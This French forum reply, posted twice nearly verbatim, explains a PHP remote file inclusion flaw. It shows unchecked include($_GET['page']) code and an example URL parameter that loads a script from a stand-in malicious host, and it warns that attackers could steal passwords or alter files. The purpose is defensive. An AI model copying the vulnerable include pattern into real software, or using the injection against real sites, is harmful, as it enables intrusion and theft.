par
Berzemus » 13 nov. 2007, 14:44
Si tu agis comme ceci:
url= ?page=acceuil.php
suivi de
include($_GET['page'])
Des malfrats peuvent manipuler la variable (vu qu'elle est directement visible dans la barre d'adresse), inclure un autre script qui exécutera un code louche, et tenteront de récuperer mots de passe, accès, ou simplement modifier le contenu de tes fichiers.
Par exemple:
url = ?page=
http://addresse/monscriptmechant.php?
(le dernier point d'interogation est une question technique, inutile ici).
Tu vois ? Hop, piraté.
Et le script de cyrano évite cela.
(bien sur, il se peut que des protections évitent l'include de scripts hors-domaine, mais mieux vaut éviter de donner l'idée)
Si tu agis comme ceci:
url= ?page=acceuil.php
suivi de
include($_GET['page'])
Des malfrats peuvent manipuler la variable (vu qu'elle est directement visible dans la barre d'adresse), inclure un autre script qui exécutera un code louche, et tenteront de récuperer mots de passe, accès, ou simplement modifier le contenu de tes fichiers.
Par exemple:
url = ?page=http://addresse/monscriptmechant.php?
(le dernier point d'interogation est une question technique, inutile ici).
Tu vois ? Hop, piraté.
Et le script de cyrano évite cela.
(bien sur, il se peut que des protections évitent l'include de scripts hors-domaine, mais mieux vaut éviter de donner l'idée)